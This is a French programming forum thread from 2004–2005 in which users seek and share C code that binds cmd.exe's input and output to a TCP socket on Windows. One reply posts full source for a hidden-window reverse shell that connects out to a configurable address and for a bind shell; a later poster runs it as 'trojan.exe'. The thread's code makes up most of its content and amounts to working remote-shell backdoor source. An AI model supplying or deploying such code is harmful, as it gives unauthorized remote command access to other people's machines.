CreateProcess sur socket

cs_Stormy Messages postés 255 Date d'inscription samedi 20 avril 2002 Statut Membre Dernière intervention 16 janvier 2007 - 11 mai 2004 à 01:35
KWANSETSU Messages postés 4 Date d'inscription mercredi 11 octobre 2000 Statut Membre Dernière intervention 30 décembre 2008 - 28 déc. 2005 à 10:05
Je cherche un moyen d'associer une socket avec un CreateProcess afin de lancer un shell sur CMD. Malheureusement, je ne trouve pas de liens intéressants sur le sujet. Beaucoup de code mais pas très optimisé! Sauriez-vous comment faire? Voici ce que j'ai de plus rapprochant. Qu'en pensez-vous?

#include "stdafx.h"
#include "winsock2.h"
#pragma comment (lib,"Ws2_32.lib")

int _tmain(int argc, _TCHAR* argv[])
{

WSAData wd;
WSAStartup(MAKEWORD( 1, 1 ), &wd);

SOCKET sock;
sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

struct sockaddr_in sin;
int size = sizeof(sin);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(7777);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");

bind(sock, (struct sockaddr*)&sin, size);
listen(sock,1);
int newsock = accept(sock,0,0);
closesocket(sock);

PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput si.hStdOutput si.hStdError = ( HANDLE) newsock;
CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &si, &pi);

return 0;
}

9 réponses

neohp Messages postés 62 Date d'inscription jeudi 5 juin 2003 Statut Membre Dernière intervention 14 octobre 2005
11 mai 2004 à 01:53
'lut

euh, pas bien compris....

tu veux cree un process a quel moment ??

la , c'est quand un client se connecte sur ton socket, c'est sa ??

tu veux crée se process via une commande envoyer depuis le réseaux ??

sinon, si c'est en interne, ce serait pas plus facile de crée un événement ???

++

neoh_p [=- coding spirit -=]
------- since 1999 ------
0
MetalDwarf Messages postés 241 Date d'inscription mardi 29 octobre 2002 Statut Membre Dernière intervention 23 janvier 2006
11 mai 2004 à 19:32
Si j ai bien compris tu cherches a rediriger la sortie et l entree standard de cmd.exe sur une socket. Ca m interesse aussi sous windows!! J avais regarde si je ne pouvais pas porter un code exisatant sous Linux pour windows ( a base de pipe() et de fork()) mais ca ne marche pas... :-(
0
cs_Stormy Messages postés 255 Date d'inscription samedi 20 avril 2002 Statut Membre Dernière intervention 16 janvier 2007
12 mai 2004 à 01:20
MetalDwarf tu as compris mon projet. C'est exactement cela. Je cherche à rediriger les Input Output de cmd sur un socket. Une espèce de WinShell quoi! Qu'est ce que vous en pensez?
0
neohp Messages postés 62 Date d'inscription jeudi 5 juin 2003 Statut Membre Dernière intervention 14 octobre 2005
12 mai 2004 à 14:51
'yop

ah oué ok je commence a comprendre + meiux, la...

dite, votre truc, se serait pas pour faire un trojan, desfois ?

bon , juste si c'est pour sa, tu lance un serveur telnet pis c'est fini...
sinon un moyen simple d'utiliser les commandes, c'est de l'envoyer a distance dans un chaine via le socket et de faire un vieux system() dessus....

'fin voila, si c'est pour du hacking, debrouillez vous....

neoh_p [=- coding spirit -=]
------- since 1999 ------
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
cs_Stormy Messages postés 255 Date d'inscription samedi 20 avril 2002 Statut Membre Dernière intervention 16 janvier 2007
12 mai 2004 à 21:18
Tout de suite les grands mots et les sujets qui fachent :)
NetCat, c'est du Hacking? Le fait de savoir 'comment' et 'pourquoi' ne me semble pas être répréhensible...
Merci à tous pour les informations ++
0
neohp Messages postés 62 Date d'inscription jeudi 5 juin 2003 Statut Membre Dernière intervention 14 octobre 2005
12 mai 2004 à 22:00
lol

non non c t pas pour faire la moral... ;)

et c'est tout a fait bien de savoir 'comment', on s'en protege d'autant mieux quand on sait, c vrai

eh bin de rien si tu a les infos que tu cherchais...

aller bonne prog

++
neoh_p [=- coding spirit -=]
------- since 1999 ------
0
mirlaine Messages postés 32 Date d'inscription samedi 9 août 2003 Statut Membre Dernière intervention 24 août 2005
14 mai 2004 à 00:44
source venan dun site dont on donnera pasle nom...
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void ReverseMe()
{
WSADATA wsa;

SOCKET s;
SOCKADDR_IN sAddr;

USHORT port;
char *addr;

PROCESS_INFORMATION pi;
STARTUPINFO si;

//change port here
port = 12345;
//change ip here
addr = "127.0.0.1";

memset( &si, 0, sizeof( si ) );
si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

sAddr.sin_addr.s_addr = inet_addr( addr );
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;

WSAStartup( 0x0202, &wsa );

s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
connect( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );

si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;

CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );

WaitForSingleObject( pi.hProcess, INFINITE );

CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );

WSACleanup();
return;
}

void ListenMe()
{
WSADATA wsa;

SOCKET s;
SOCKADDR_IN sAddr;

USHORT port;

PROCESS_INFORMATION pi;
STARTUPINFO si;

port = 12345;

ZeroMemory(&si,sizeof(si));

si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;

WSAStartup( 0x0202, &wsa );

s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );
listen( s, 5 );

__asm
{
push ebx
mov ebx, s
}
s = accept( s, NULL, NULL );
__asm
{
push ebx
call DWORD PTR [closesocket]
pop ebx
}

si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;

CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );

WaitForSingleObject( pi.hProcess, INFINITE );

CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );

WSACleanup();
return;
}
0
MetalDwarf Messages postés 241 Date d'inscription mardi 29 octobre 2002 Statut Membre Dernière intervention 23 janvier 2006
5 juin 2004 à 11:02
Bizarrement ni l une ni l autre des fonctions ne marche chez moi.
Le programme dans lequel j ai integre ce code est en C et j utilise winsock 1 et non winsock 2 (compatibilite avec le reste du programme), mais je ne pense pas que le probleme vienne de la.

deja dans CreateProcess() le dernier parametres est "?". Je l ai evidemment change en &pi, (d apres la doc msdn c est le parametre qu il faut).

Ensuite le programme compile, s execute mais des qu une connexion arrive (par telnet), le message est le suivant :

"Unhandled exception in trojan.exe : 0xC0000005 : Access Violation"

Ou est le probleme? Faut il des privileges pour executer ceci? Desole si je parrais un peu con, mais je maitrise bien plus la programmation systeme Linux que Windows...
0
KWANSETSU Messages postés 4 Date d'inscription mercredi 11 octobre 2000 Statut Membre Dernière intervention 30 décembre 2008
28 déc. 2005 à 10:05
Yep ! Il me semble que tu dois d'abord t'assurer que ton binaire possède le Debug Privilege...

FRoG
0
Rejoignez-nous